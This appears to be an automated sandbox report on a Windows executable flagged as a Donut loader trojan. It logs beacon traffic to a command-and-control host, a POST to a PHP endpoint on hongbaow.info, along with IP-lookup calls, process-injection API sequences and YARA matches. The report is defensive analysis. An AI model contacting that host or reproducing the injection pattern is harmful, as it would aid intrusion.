HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache

Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.iplocation.net/
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.iplocation.net/?cmd=ip-country&ip=8.46.123.189
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.iplocation.net/K
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp, jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php.
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php.com/pki/crl/products/MicCerLisCA2011_201
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php/
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php1714
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpI
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpN
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpNVD
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpQ
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpUniv
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpd
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpdows
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpn
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpon1
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpu
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpv
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpz
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php~
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/9
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/NVD
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpNVD
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/a
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/baow.info/lofzqFkc7.php
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/baow.info/lofzqFkc7.phpP
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/baow.info/w.info
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/l
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/lofzqFkc7.php
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/lofzqFkc7.php5
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/lofzqFkc7.phpJ
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hongbaow.info/lofzqFkc7.php_
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp, jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myexternalip.com/
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myexternalip.com/raw
Source: jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myexternalip.com/rawWP

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 34.160.111.145:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.68.240:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2936750327.0000000001220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_0018C650 NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread,NtQueueApcThread,NtTestAlert,	0_2_0018C650
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A9570 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,GetStdHandle,GetLastError,	0_2_001A9570
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_01258654 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,	0_2_01258654

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001AE000	0_2_001AE000
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A5101	0_2_001A5101
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_0019D950	0_2_0019D950
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A99B0	0_2_001A99B0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B41E0	0_2_001B41E0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_00190A90	0_2_00190A90
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001ACC30	0_2_001ACC30
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_0019E4C0	0_2_0019E4C0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A04E0	0_2_001A04E0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_0019A510	0_2_0019A510
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B3D30	0_2_001B3D30
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001AA520	0_2_001AA520
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A7610	0_2_001A7610
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B0E40	0_2_001B0E40
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_0019F680	0_2_0019F680
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A76B0	0_2_001A76B0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B1F11	0_2_001B1F11
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_00199770	0_2_00199770
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_01258654	0_2_01258654
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A55C10	0_2_02A55C10
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A6CAB0	0_2_02A6CAB0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A57A10	0_2_02A57A10
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A5A1A0	0_2_02A5A1A0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A511E0	0_2_02A511E0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A59120	0_2_02A59120
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A7267A	0_2_02A7267A
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A5AF90	0_2_02A5AF90
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A514A0	0_2_02A514A0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A5BC80	0_2_02A5BC80
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A54C20	0_2_02A54C20
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A73580	0_2_02A73580
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A58510	0_2_02A58510
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A53D60	0_2_02A53D60
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A6454C	0_2_02A6454C

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: String function: 02A604E0 appears 34 times

Source: jhdfer3s_jh3de.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 00000000.00000002.2936750327.0000000001220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal68.evad.winEXE@2/1@3/3

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\raw[1].txt

Jump to behavior

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Mutant created: \Sessions\1\BaseNamedObjects\gqfffhj
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7108:120:WilError_03

Source: jhdfer3s_jh3de.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: jhdfer3s_jh3de.exe

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Users\user\Desktop\jhdfer3s_jh3de.exe "C:\Users\user\Desktop\jhdfer3s_jh3de.exe"
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: wldp.dll	Jump to behavior
